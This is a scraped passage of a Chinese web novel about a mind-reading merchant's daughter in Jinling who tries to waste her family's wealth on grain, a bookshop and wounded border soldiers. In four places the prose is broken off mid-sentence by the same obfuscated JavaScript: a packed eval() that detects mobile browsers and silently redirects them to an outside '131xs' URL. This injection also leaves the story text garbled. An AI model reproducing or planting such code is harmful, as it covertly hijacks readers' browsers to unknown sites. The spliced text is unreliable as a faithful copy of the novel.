随即通过心声传递巡抚大人或来金陵沈家借粮一事。 沈宝珍凝眉思索片刻后，沉声道：“爹爹娘亲，我们不借。” 留意她反应，都做好妥协准备的沈福达和岑内琇：欸？ “乖宝你认真的？” “嗯！”沈宝珍又道：“爹爹娘亲，我们直接送，再偷偷买粮囤粮。” 有借有还，周巡抚又是个会帮人扬名的主，到时候金陵，甚至整个江南都会知道沈家有粮食，多到能借给官署，太危险了。 嘶—— 如此，送粮，亦不保险。 沈宝珍陷入纠结。 沈福达和岑内琇：？？？还不如借出去。 送是不可能送的。 至于买粮囤粮。 春粮下来，粮价必跌，现在买粮囤粮，指定血亏。 乖宝果然没有经商天赋，还是要多攒点家底。 得攒到闭眼挥霍也花不完，才行。 沈宝珍咯噔了一下：！！！早知道不说了，光做就好了。 她挣扎道：“爹爹娘亲，这粮是为明年囤的。” 眼下粮食稀缺，才有外地粮商蜂拥，待春秋粮下来后，就变成江南的粮运往晟朝各处。 到那时再囤，是便宜，但也更引人注目。 明年若发大水导致粮荒，流民第一个想到的就是沈家。 在各府悄悄囤，届时献粮，应该能换取官府庇护沈家家宅。 至于她们的人，当然是有多远跑多远。 【自家田庄一季粮产，能填满四大官仓，无需现囤。】 【若非如此，周巡抚也不会认定沈家不缺粮，厚着脸皮上门讨要。】 【明年，我们一家，肯定能平安度过，乖宝放心。】 【我和你爹合计好了，若你此行无舟眩苦船，年底我们一家随船北上，无论来年开春江南发生什么，都能安然无恙。】 沈宝珍抿唇。 她在思考，如何更妥当些。 见其垂首不语，沈家夫妇当即抛却生意经，一改话头。 “哎，方才没想起来，北方来的粮食，和江南的口感不一样，物以稀为贵，纵使高价买下，沈家也不会亏。” “没错！再不济，效仿外地粮商，趁北方粟麦青黄不接时，更高价卖回去。” 沈宝珍：？？？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852103|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高买更高卖，还能赚？ 不行，坚决不行。 沈宝珍决定，不囤粮了。 先买，高买，再卖，低卖。 哪怕是爹爹娘亲，都不能阻挡她败家的脚步。 翌日，牌匾烙有元宝印记的明月楼。 “小姐，奴婢愚钝，这差使……”崔芙捧茶试探。 米价腾贵，民不聊生。 高买低卖，以一己之力，平抑江南粮价，这等功德，可立碑铸祠。 她，受之有愧。 “很难？”沈宝珍接过茶水，呷了一口。 “不难。” 【再容易不过。只是，良心难安。】 【我要怎么跟小姐坦言，自己就是她效仿千金买骨之策，力求正名且扬名的崔氏女。】 【当时讲述那故事，并非毫无私心杂念。如今占尽了便宜，仍旧没句实话。若小姐知晓真相，定会厌恶这般卑劣的我。】 “那就照办。”沈宝珍起身，递出两块牌子。 要是被知道自己能探听心声，谁厌恶谁还不一定呢。 就当，扯平了。 沈宝珍单方面下了定论。 “是。” 待沈宝珍离开，崔芙静静摩挲着代表身份的令牌和钱庄取银对牌。 心起波澜，经夜未歇。 * 半月后，苏州巡抚衙门。 “善，大善！”愁眉苦脸月余的周弘言，抚案长笑，如释千钧，眉间川字纹尽消。 “大人连日劳神，今民饥可解，不妨暂歇，养精蓄锐。”堂下属官亦是开怀。 “对，是得养足精神。”周弘言正了正官帽。“粮船已抵，明日务必让苏州百姓也吃上平价粮。” “下官领命。” …… 掌灯时分，周弘言回到后院。 “父亲展颜，可是有什么好消息？”周兰溪近前。 周弘言不答反笑，一扫从金陵无功而返的颓然。“是极是极。” “有法子缓苏州民饥之苦了？”李氏猜出大概。 “对！昔年曾有耳闻，平北将军骁勇善战，安定家国，是以得陛下追封爵位——安国亭侯，显赫身后。可惜无子袭爵，只得见史载其勇。没想到，其孙女不堕先祖荣光，善怀有行，仁浆义粟，救民于饥馑。”周弘言不吝赞誉。 “倾家助国，泽被乡里，脂粉英雄！” 斥资购高价粮，交由官署平价售予百姓。 消息自广陵传遍江南，粮价，随之大起大落。 不计个人得失，一心解民生困顿。 如此仁义之举，令人自愧不如。 周弘言已然决定上书陛下，为其请功。 不过月余，刨去各府固堤所需，预计能剩五十万两计的两江总督，也在考虑将“善款余银”献于皇帝上表庆贺时，提及崔氏女名号。 毕竟，她给的实在太多了。 …… 江南否极泰来，边关兴尽悲生。 素闻恶月不征，以防兵疲气泄，为敌所乘。 晟朝北境破虏关将士们，却在这个五月，打得敌军溃败，狼狈逃窜。 烽火暂熄，军中欢腾。 怎料，乍暖还寒，郁蒸难消，戍卒伤病难愈，疮痍者众，脓血交流，哀嚎阵阵…… “将、将军。” “躺着，别动。”胳膊同样被包扎着的平虏将军，按住试图起身的兵卒。 “是。” 走出伤兵营，风吹日晒黑黢黢的平虏将军，脸黑如墨。 25. 张武：有谁为我发声 “药材都给医士送去，让他务必治好他们。” “没有。”校尉手握成拳头，咔咔作响。 “没有什么？”平虏将军虎目微睁。 “没有药材。”校尉几乎是从牙缝里挤出的这几个字。 “哪去了？”语气无波无澜，像是暴风雨前的平静。 “说是朝廷药材运输损耗严重，边关所得十不存一。” “损耗严重？呵呵，这次是谁私吞了？” “说！”没得到答案，平虏将军怒喝。 “将军……”校尉喏声。 “断子绝孙那王八羔子？” “老子就知道跟这厮脱不了干系，可恨抓不到他把柄。”平虏将军气得提刀，恨不得当场劈了他解恨。 “报！”就在这时，化名莫声的张武手书，辗转送至。 “什么事？” “家书。” 平虏将军强压火气，将刀置于一旁，取过信件，见到写明要他亲启，心下狐疑，拆开，映入眼帘的是一张药方、两张银票，每张一百两，疑惑更甚。 “将军？可是府上有要事？卑职愿效犬马之劳。”视线被挡，没看到银票的校尉开口。 平虏将军摇头。“是张武。” “张、张武？”他不是死了吗？？被将军亲手处决，当着北境最大药材商，也就是断子绝孙那位的面，营中几乎无人不知无人不晓。 毕竟，他是破虏关唯一一个，没牺牲在战场，却死在上官手里，仅仅只是因为惩治恶霸被当爹的闹上门，引颈受戮，窝囊又惨烈，可气又扼腕。 可是，没有办法，贾药商是连镇北将军府都要给两分薄面的存在。 遍布大晟朝的惠民医馆，在边关，因朝廷财政困难逐渐荒废，戍守偏远地区士卒，往往靠草药自救。 像破虏关这般有营地的，至少配有医士，但其几乎是一人负责上千士卒。 药材在运输途中损耗严重，甚至因天气冻在路上是常态，与其说伤兵营里在治病，不如说是玩命。 惊觉失言，平虏将军又道：“张武的亲眷。”本人也算亲眷。 将药方、银票揣怀中收好，再看内容。 忧心忡忡、气势汹汹的平虏将军，突然笑了，笑得怪瘆人的。 “吩咐下去，将重伤病兵卒送回城。”有一个算一个，死马当成活马医。 “将军这是何意？” “听令。” “是。”校尉摸不着头脑，但军令如山，只能照办。 平虏将军自己，则连夜奔袭验证信中所言真假。 上百条人命，不能仅凭一纸军令状。 之所以下令，也是从中窥见活命之法。 没药，就买。 不是刚得了两百两吗？ 若不卖，豁出去和病卒一起住贾药商家，就不信他能眼睁睁看着军士们一个个死去。 敢参与侵吞倒卖边关药材，就要有被拉着同归于尽的觉悟。 驼城，贾家。 风餐露宿赶路，进城时邋遢得亲爹娘认不出，差点客栈都不让住，好在银子掏得及时。 痛痛快快洗个澡，换了身干净衣裳，吃饱喝足，戴上面具，摇身一变，成了不知名药材贩子。 银票开路，不问出处。 张武收了贾家现有药材大半，成了他口中蓬荜生辉的贵客，一口一个莫老弟，哪还有当初剑拔弩张恨不得剐了他的狠厉。 “莫老弟可真是大手笔，我贾某人在边境十数载，还是头回遇到像你这般爽快的生意人。” “贾家药材是出了名的货真价实，莫某还有要事在身，没时间耗在讨价还价上。”毕竟大多是朝廷拨给军营的药材。 尽管两人有血仇，但不得不承认一点，这位姓贾的药商，确实有能耐。 伙同地方官员私吞药材，刀尖上行走十数载，干着掉脑袋的大事，却始终活得好好的。 哪怕知道贾家药材来路不正，却奈何不了他。 因为，有人包庇，缺乏证据。 “哈哈哈，和莫老弟说话就是痛快，没那些个弯弯绕绕，来人，上酒！” “不必，我还有要事在身。”药材采购完毕，大夫也已就位，他得回去恭候将军了。 “那就改日，到时候不醉不休。” “再说吧。”要是身份暴露，保不齐会被毒死。 若非听闻破虏关近日大捷，想到有伤患，他才不会入贾家门。 毕竟宰了对方欺男霸女的好大儿，说到底，还是有点点理亏。 “行行行。”被这回答一噎，贾药商热情退却。 走出贾家，张武吐出口浊气。 上了马车，驶向平虏将军府。 那里，有他沿路重金聘请的大夫。 有医有药，“护卫”返程路上就能把身体养得七七八八。 到时候回了金陵，小姐见了，应该不会太失望。 只是，计划赶不上变化。 张武想破脑袋，都没料到，阔别一年而已，将军性情大变，胆大包天。 居然把所有伤重病卒，都塞给他了。 边关将士擅离职守可是重罪，他是来为小姐招人的，不是招祸的！ 张武：？？？我估摸伤残病退的顶多一二十个，将军你送来快两百人什么意思？ 不是，不是爱兵如子，折一个都要心疼坏了吗？ 怎么，都不要了？ “做你的春秋大梦，老子这是看在你那有钱主子的面上，暂时把士卒借给她当一年半载护卫，要还的。” 迎头来了个大比兜，张武条件反射躲闪。 “至于其他的，用不着你瞎操心，本将军有的是手段，绝不会闹出什么乱子。” “一年半载？将军你这就太过分了，知道这些药材从贾家买来，花了多少银票吗？足抵破虏军半年饷银！还有这些大夫，都是各地最擅长治外伤，号称活死人肉白骨的名医，随便一个都得……” 张武巴拉巴拉讲述着，囊中羞涩不占理耍无赖的平虏将军，吹胡子瞪眼不吭声，心里却在盘算。 我滴乖乖，全军俸禄，别说半年，前两个月的都没发，他穷得兜比脸干净。 这些大夫确实有本事，隐隐作痛的胳膊，重新抹了点药，快痊愈了，就连陈年旧疾都帮着开了几副药，说是喝完，能彻底根治。 一对比，他都想派人将营中医士带来拜师了。 张武这小子走了哪门子狗屎运，不会是抢钱庄了吧？还是占了哪个山头，挖出银矿了？ 借给主子找护卫的名义，趁机招兵买马？ 张武说完，对上将信将疑的虎目，头都大了。 上官的威严仍在，他不由气短，开始晓之以情。 “我也没说什么过分的话啊，都是事实，我知道破虏关要什么没什么，可我家小姐要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857342|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是护卫，能护家卫宅的，缺胳膊少腿都没事，但不能只留一年半载，那顶什么用？还不如买些奴仆操练算了。” “你小子，真是有了新主忘了旧主，算了算了，我就问你一句，没做什么丧尽天良为非作歹的勾当吧？” 张武：？？？ 丧尽天良？ 为非作歹？ 勾当？ “将军是指什么？”不被信任的感觉，真叫人憋屈。 “你这些银钱，来路正吗？”平虏将军又问。 “……哈哈哈哈！”张武气笑了。 “笑什么笑，老实交代。” 张武不想说话了，白费口舌。 默默将自己随身携带的包袱取下，解开，露出清一色的银票。 百两？ 每一张都是百两！ “你真去抢钱庄了？” 张武：！！！ “小姐给的，用来招募护卫，但如所求，不惜代价。”他无力摊手。 爱信不信吧，真尽力了。 千里长途跋涉都没身心俱疲，和将军聊了几句话的功夫，他有点想睡觉。 “这么阔绰的主子？这么好的差事，你小子怎么找到的？” 张武：专捅心窝子是吧。 “被人诓骗，卖给人牙子，辗转到金陵，被小姐买下。” “……”觉得有这样的兵卒丢人，又想笑是怎么回事？ 平虏将军憋得脖子都红了。 “然后，过上了吃穿不愁的日子，月例比军饷高，赏钱是十几倍，信里的两百两是除夕夜抓了贼寇，老爷赏的，连小丫鬟都得了一百两。” 平虏将军：！！！笑不出来了，想哭。 外面的钱这么好挣吗？ 张武耸了耸肩，原本他是不打算说的。 …… 翌日，伤重病患到，一个个出气多进气少，眼睛肿得像核桃。 负责护送的校尉，强打起精神汇报。 “禀将军，伤兵营一百七十八名士卒入城，中郎将昏迷不醒，属下自作主张，将其也带来了。” “嗯，做得不错，去歇着会吧，他们有大夫看顾了。” “大夫？” “嗯。” 平虏将军摆手，示意跟上亲眼瞧瞧，他懒得废话。 甫一靠近，就听见清醒些的兵卒哽咽难鸣，泪水和血水混杂的痛哭。 正中央站着的张武，则是一副焦头烂额的模样。 “大丈夫流血不流泪，哭哭啼啼像什么话？此去有医有药，什么时候把病养好，什么时候给本将回来，谁要是带伤折返，别怪我不客气！” “将军说的可是真的？” “爱信不信，不信拉倒。”刀尖舔血，死里逃生，也该过过安稳日子。 躺在病榻的一个个，却听得悲从中来。 打心眼里不肯走，都怕，此一别，再也不得相见。 平虏将军简直没眼看，这是他手底下杀敌嗷嗷叫的兵？ 有点嫌弃是怎么回事？ 这一去，是去享福的啊！ 知道为了让张武同意接收他们这群重伤兵卒，嘴皮子都要磨破了吗？ 最后甚至提刀威胁，当然，刀没架在张武脖子上，而是自己。 一哭二闹三上吊，也没谁规定男人不能用，好使。 张武抬头望天：有谁为我发声。 * 26. “最俗”贺礼 * 六月初六，晒书日。 金陵，沈家。 清晨凉爽，芳菲院的丫鬟在书房进进出出，将一应书籍搬到院里摊开两面翻晒。 太阳落山前，收齐，规整。 “账簿，应该放在何处？”一堆诗词文集中，突兀冒出卷泛黄账本，沉夏犯难了。 “哪来的账簿？”同样纳闷的知春近前。 芳菲院的账册由她负责，并未放入书房，照理来说，不可能出现在这。 “惜竹在房梁上找着的。”沉夏掩口失声。 “房梁上？”知春疑惑地接过，唤起丝丝印象。“好像是以前，夫人教导小姐学习管家记账的簿子。” 犹记得那时的小姐，见账如闻催眠咒，算盘未拨先点头。 一边回忆，一边翻开。 倏地，知春眸光凝住。 连看了五分之一的账，知春顿悟，迅速将其合上。 同沉夏、惜竹确认只这一卷，没人细看，稍稍安心了些。 带着这卷账簿，迅速来到水榭，向正在纳凉的沈宝珍禀明。 “小姐，这卷账簿是封存，还是归还夫人？” “什么账簿？” 沈宝珍瞅了眼。 哦，想起来了。 十岁那年，自己为了逃避看账，借鉴话本里藏匿财物的法子，将娘亲拿来教习的簿子扔上房梁。 一个人偷偷摸摸，为求成功，当时累得够呛，发汗着了凉，小病了一场，学看账这事不了了之，乐得她忘记了梁上的账簿。 “居然被你们找到了。” “是惜竹找到的。” 【说是她娘还活着的时候，每次挣得铜板，都会想法设法藏上几枚，要么在墙缝，要么在房梁，不然都会被他爹拿去赌光。】 “难怪。” “小姐你说什么？” “没事。” “小姐要不还是先看看这卷账簿，再决定是封存，还是归还夫人。”又绕回最初的话题。 “五六年前的账簿了，娘亲也没问我要过。你这般慎重，难不成有什么见不得人的东西？”沈宝珍打趣道。 扫视前两页后，自顾自感叹：“原来是四海酒楼的账簿，收支一目了然，我当时怎么就看不懂呢？” “小姐，你往后看。”知春犹豫片刻，直言：“奴婢觉着这本账簿不简单。每笔席面、寿宴定金百千两计，相应食材、酒水采购却不足十两，不合常理。” 顺着她的提示，沈宝珍瞧出了端倪。“确实对不上，有问题。” “兴许没问题。”知春说完，抿唇。 【所记定金，应是分红，其它都是幌子。就算被人窃去，一时半会也发现不了，但还是得保管妥当。】 正好看到， 收： 盐商伍老爷寿宴定金纹银伍仟壹佰两整 源兴绸缎庄席面定金纹银贰仟两整 沈宝珍：！！！ 难不成，四大家族的生意，沈家也有份？ 不、不可能吧？ 小跑至朝晖居求解，守门婆子告知爹爹娘亲皆在，已经跨进院子的沈宝珍站定，让紧随而来的知春，帮着理好发髻衣裙。 正堂内，沈福达喝着紫苏饮。 “谷贵新，贱陈。积久，价同糠秕。连陈粮都高价收，京城来的，果真财大气粗。” 【货殖无方，家业荡尽。经商如盲，蚀本赛败家。】 “兜售陈粮净赚五万两，算上粮商手里那部分，合计进账二十万有余。”岑内琇笑容满面。 【这样的傻子，多多益善。】 “嗯，京城那边的生意，得多上些心了。”沈福达总结道。 【四大家族不甚中用，这位安国亭侯孙女背后的梁氏，出现的时机刚刚好。】 刚迈上一个台阶的沈宝珍，僵在原地：！！！ 聚集广陵的一些粮商，和爹娘有干系？ 自己傻子式败家，成了左手倒右手？ …… 倍感受挫，沈宝珍收回脚，悄然离开。 她似乎，不太想问个明白了。 翌日，梦溪堂。 坐等掌柜找来《陶朱公经商十八法》的沈宝珍，重燃斗志。 犹记得，爹爹娘亲说她没有经商天赋。 常言道，生意不懂行，瞎子撞南墙，十有八九亏。 或许，奔着赚钱去，会比一心败家，亏得更快更多。 “小姐，你要的书找到了。”掌柜恭敬呈上。 【沈小，哦不，小姐，梦溪堂已经是沈家的了，眼前这位就是主家小姐，切记切记，可千万不能叫错。】 【小姐这是想学陶朱公，让梦溪堂起死回生？怕是难如登天！】 【如果请得动老爷或是夫人出马，倒是有一线生机。】 沈宝珍接过书，径直上楼：就不就不。 墨香萦绕，茶香氤氲。 商圣十八言，句句照践行。 其一，生意要勤快，切勿懒惰，懒惰则百事废。 在理。 沈宝珍当即吩咐掌柜，即日起，梦溪堂通宵达旦、烛火不熄。 掌柜垂首应下。 【？？？想换了万家旧仆，小姐可以明说，昼夜不绝，我这把老骨头真吃不消。】 其二，接纳要谦和，切勿暴躁，暴躁则交易少。 采纳。 沈宝珍：“工钱翻番？” 掌柜笑逐颜开。“小姐宅心仁厚，小的绝不躲懒。” 【翻番？早就听闻沈家给掌柜等发双份工钱，终于轮到我了？万氏怎么不早点把梦溪堂送给老爷夫人小姐啊？真是的！】 【从今往后，梦溪堂就是我唯一的家，就算是饿死累死困死，我也要留在这，双份工钱，呜呜哈哈哈！】 沈宝珍：“……分更值事，灯火通宵，伙计迭换，你也一样。” 掌柜笑意顿敛。“小姐的意思是，招人？掌柜管事伙计都要招？” 【不要啊，招了人还怎么可能工钱翻番，果然，高兴得太早了。】 其三，价格要订明，切勿含糊，含糊则争执多?。 可行。 沈宝珍：“工钱翻番。” 掌柜呼吸粗重：！！！ 【小姐威武！作为老爷夫人唯一的子嗣，小姐不继承家业，天理难容。择日不如撞日，明天就是个黄道吉日。】 沈宝珍：“……” 其四，账目要稽查，切勿懈怠，懈怠则资本滞?。 没错。 “把账簿取来。” “小姐稍等片刻。”掌柜行动利索，上下楼一趟的功夫，将将够沈宝珍捧起茶盏。 “账簿都在这了，小姐请过目。” 砰—— 厚厚一摞，落地有声。 沈宝珍默默放下茶盏。“只要今年的。” “这些就是今年的账簿。” “……”想知春了。 其五，货物要整理，切勿散漫，散漫则查点难?。 沈宝珍摆了摆手，要求将梦溪堂书目分类整齐，以便自行找寻。 掌柜喜滋滋把差事安排下去，又朗声宣布即日起延工时涨工钱，管事伙计乐得见牙不见眼。 看着几乎淹没在账簿里的沈宝珍，沉夏满脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864231|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋问号。 “小姐。” 【受什么刺激了？】 “快来。”沈宝珍眼前一亮，差点忘了还有个她。 沉夏：？？？不是来看书吗？怎么盘上账了，我不会啊…… 如释重负的沈宝珍，再次端起茶盏，往后翻了一页。 其六，出纳要谨慎，切勿大意，大意则错漏多?。 嗯，这是账房的活。 其七，期限要约定，切勿延迟，延迟则信用。 额，暂时没顾客。 其八，临事要尽责，切勿放任，放任则受害。 啧，事事亲力亲为，办不到。 其九，用度要节俭，切勿奢侈，奢侈则钱财竭?。 啊，不早说，工钱已经涨了。 算了，从新人开始节俭。 如果没记错，有一批淘汰的掌柜正等活干，凑合着用，省得招了。 …… 沈宝珍坐镇梦溪堂大半月后，入不敷出更明显了。 单就工钱和点灯熬油的花销，直逼先前两个月合计。 “小姐，三更天后客人少利薄，反而倒贴油钱，不如早歇，以观成效？”掌柜委婉劝解。 【一根蜡烛顶半斤肉钱呐！白天就没什么人进梦溪堂，两更天后，街上鬼影都没有几个，这样做买卖不亏才怪。】 【小姐还是缺少经验，以为照着《陶朱公经商十八法》真能生财，要这般容易，这本书怎么会搁在书架上积灰。】 “按吩咐做就是，工钱不会少你们。”果然亏了，沈宝珍暗自窃喜。 听到她的回答，掌柜并管事伙计等人，笑得比哭还难看。 双份工钱拿得烫手啊！ 无视他们的复杂情绪，再次叮嘱保持现状，沈宝珍脚步轻快地离开了梦溪堂。 这阵子每天都要出门，末了还得翻看账册，她可太辛苦了。 累得都有点期待和谢谰语四人的最后一次小聚了。 * 魏家园林，赏荷纳凉，惬意非常。 待魏雅言明与京城陈公子的婚约继续，大婚之日定于季秋重阳，最迟秋分就得启程北上，覆上淡淡离愁。 “荷风依旧，明岁今朝，人各天涯。”魏雅小酌一杯后，叹息。 【母亲总教我要忍，想必陈家的规矩，比宫里还体面些。】 “香囊为念，望月思人。”万曦言毕轻执对方手，递上亲手绣的桂花香囊。 “谢万姐姐。” “听闻送亲时携带桂花，寓意贵子临门，携带石榴，寓意多子多福，我给魏姐姐准备的是绣有榴开百子图的绸缎四铺四盖，也有四季平安之意。”谢谰语缓缓道。 “和你们一比，倒显得我的贺礼俗了。”伍珂玥扁嘴。 “只要是你们送的，我都很喜欢。”魏雅双手接过。 【总好过家里给我备的嫁妆，怕是连灶王爷都瞧不上。】 “双股金钗，象征结发同心，金银镯，寓意金玉满堂，哪里俗了？”谢谰语心直口快。“到时候我也要。” 伍珂玥噗呲笑了。“行行行，我肯定会给未来二嫂你备上。” “胡说什么，日子还没定呢。”谢谰语羞得耳垂通红。 “是是是，不说了。” “沈妹妹准备了什么？” 被聚焦的沈宝珍，慢悠悠捻起一块荷花酥。“暂且保密。”她的最俗，不宜公开。 其余三人：防谁呢？ “待你启程，再行奉上。届时，帮忙捎位姑娘回京，可好？” “好。”魏雅莞尔。 其余三人：回京？谁？ -- 27. 小姐，梦溪堂扭亏为盈了！ 两江总督府。 “老爷容禀，小人的侄儿近日定了门亲事，对方是金陵城的商户万氏。 侄儿的婚事本不敢劳您过问，只是万家父子屡次提及仰慕老爷威德，甚至想借婚宴登门叩谢。 小人思量此事不妥，特来请老爷示下。”管家躬身。 “万氏？万家女？此事你自行斟酌即可，切莫伸张，亦不可借本督名号招摇。” “是。” …… 七月七日，晴。 京城，朝堂之上。 帝闻连奏，龙心大悦，目视众臣：“漕运乃国本，河患不除，则万民失所。今得江南商民协力，朕心甚慰！” “两江总督奉陛下德意行事，今商民踊跃输捐，以感念天子仁政，愿为君分忧之心，可喜可贺！”国库添了五十万两，户部尚书压力骤减，自不吝为其美言。 “若天下官吏皆如这般体恤朝廷，何愁河患不平？” “臣查去岁治河用银九十万两，今得输捐抵半，然河工浩繁，伏请仿此例劝输，天下水利可兴矣！” “万万不可！江南商民富庶，方慷慨解囊，诸州府情况不一，犹恐力薄，反生民怨。” “臣附议！江南商民输捐是为治河，两江总督将其献于朝廷，似是不妥。” “用银多寡重在实效，余银入库以备岁修，有何不可？” …… 政见不和，争论不休，险些搅没了建兴帝当众封赏的兴致。 “兹有两江总督贺骐、江苏巡抚周弘言上书，朕方闻安国亭侯孙女崔芙于江南一带，继先祖忠烈之风，行惠民安邦之实，乃闺阁之范，社稷之桢。 着封，永嘉郡君，赐食邑三百户；令追加，安国亭侯谥号，忠襄，赐梁氏一族，义商匾额；刺地方官建乐善坊以彰其德，并输捐商民！” …… 朝会后，兵部侍郎崔无涯神情恍惚，耳畔传来素来不对付的同僚讥诮。 其女立功得赏，作为生身父亲，不仅没被擢升，连名号都未曾提及。 还真是开天辟地头一遭。 “安国亭侯”这封号，陛下只追封过一位，那就是兵部崔侍郎的义父兼老泰山。 朝臣当即将新鲜出炉的永嘉郡君，与崔侍郎去岁“香消玉殒”的嫡长女联系到了一起。 安国亭侯孙女，听听，多么耐人寻味。 “崔侍郎之女，哦不，永嘉郡君活现江南，慷慨济世，令人叹服！” “素闻崔侍郎敬孝梁老将军，今日终得见，被追加谥号忠襄，安国亭侯泉下有灵，当鉴尔心。” …… 崔府。 “夫君，可是遇着什么事？”柳氏将炖好的一盅汤，端到书房，没见到崔无涯伏案执笔，反倒直愣愣望着一处，连她进出都无知无觉。 “芙儿在江南。” 话音刚落，汤匙和汤盅清脆的碰撞声乍响。 “手滑了，夫君方才说的什么？妾身没听清。”柳氏微微侧身，遮掩自己的失态。 怎么会？ “芙儿还活着，被梁氏族人带到江南去了。”崔无涯说到“梁氏族人”四个字时，声音很轻，像是呢喃，带着不可置信。 义父义母都是孤儿，还是边关人氏，哪来的族人？就算有，也不可能出现在江南，这到底是怎么回事？ 若非圣上金口玉言，他真怀疑有人刻意愚弄自己。 “真的？那太好了！梁姐姐在天有灵，定能……” 又是在天有灵，想起似笑非笑的同僚，崔无涯出声打断：“当务之急，是把芙儿接回京城，这才好恢复她的户籍身份。”注销之前的死亡记录。 更严重的他还没说，如若届时查出误报涉及欺瞒朝廷，可能被追究欺君之罪。 陛下的旨意，已经很明显表露出不满了。 早知如此，当初不该那般草率，仅凭身形和穿扮便将面目全非的尸首，认定为崔芙。 可即便重来一次，他也没法确定不是啊！ 这或许就是，漠视亲生女儿的代价。 “好，我这就派人去江南接芙儿回来。”柳氏眼尾泛红，像是喜极而泣。 “嗯，辛苦你了。” “这是妾身应该做的。”柳氏满目柔情，依偎进男人怀中，眸底暗光浮动。 * 与此同时，江南。 连月显于人前的安国亭侯孙女，突然销声匿迹。 金陵沈家，回来个叫芙蕖的丫鬟。 “禀小姐，奴婢此去各府捐银四十八万两，以市价七十文收粮六万六千四百石，以市价六十文收粮九万三千五百石……” 崔芙恭敬呈上账本和手札。 沈家大出血，自己名利双收。 无以为报，唯有将所见所闻记录在册，以备不时之需。 略过账本，看着平铺在案的《江南百官录》、《江南俊彦集》，沈宝珍大受震撼。 你不务正业啊！ 让去花钱修河济民，怎么变成疏通官场，外加拉媒保纤了？ 沈宝珍怀揣好奇，打开《江南百官录》第一页。 两江总督贺骐的生平事迹、行为作风、姻亲关系映入眼帘。 底下甚至小字写明，两江总督府老管家的侄子和万曦，婚期定于明年春。 沈宝珍：不可能！ 自己根本没听说这个消息，假的吧？ 兴趣骤减，啪嗒合上，先忙正事。 “做得很好，有功则赏，除了银两，再赏你一个自在身。”交还早就备好的身契。 崔芙瞳孔一震，捧着身契的手，像接了炭火，纸页抖得簌簌响。“奴婢叩谢小姐恩典。” 俯身再拜。 “乞容奴婢留府侍奉一月，以报小姐的再造之恩。” 沈宝珍快速算了下日子，正巧是魏雅出嫁前后。“允了。” 时机合适，意欲同赏。 芳菲院里的一个个，竟然都很抗拒。 “放你们出去不是好事吗？”沈宝珍眼中浮现一丝困惑。 “奴婢发过誓，要给小姐扫一辈子院子。”惜竹抬手指天。 “小姐可是嫌奴婢笨手笨脚？奴婢以后会学着机灵点。”宛梅泪眼婆娑。 “求主子开恩，别赶小的离开。”青松咣咣磕头。 沈宝珍：！！！不是，为什么啊？ 视线扫到知春等人。 “奴婢就是撞死在这阶前，也不离了小姐去。”知春决绝道。 “奴婢也一样。”沉夏三人斩钉截铁。 沈宝珍：？？？我还什么都没说呢，强烈怀疑她们也能读心。 “此事作罢，都起来。”沈宝珍揉了揉太阳穴。 “谢小姐。”一个个破愁为笑。 沈宝珍轻轻摆了摆手，转身往屋里走。 刚回来的崔芙攥着衣角，唇瓣动了动，似乎想说些什么，但终究没有。 接下来半月。 生怕沈宝珍再提及放她们自由身这事，丫鬟们牟足劲表现。 外加多重奏心声，沈宝珍表示消受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873622|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起，选择躲清净。 当主子当成她这样，也是没谁了。 明明一个个都支开了，没想到，还是被崔芙发现并跟了上来。 “有薛二等人，你不用跟来。” “是奴婢僭越了，原不该脏了小姐的眼，可奴婢只余十三日能侍奉小姐左右……”崔芙低头绞手帕。 沈宝珍：“罢了，跟着吧。” “谢小姐。”崔芙立刻抬头，眼睛亮晶晶。 【小姐明明嫌麻烦却还是答应了，她待我这样好，我更要护她周全！】 【等等，该不会有人也发现这招好用，来骗小姐心软吧？】 沈宝珍：？？？装的？ “小姐为何这样看着奴婢？”崔芙不自在地摸了摸脸。 【只十三日了，为何时间过得这般快，我竟有些不舍离开。】 “……没事。” 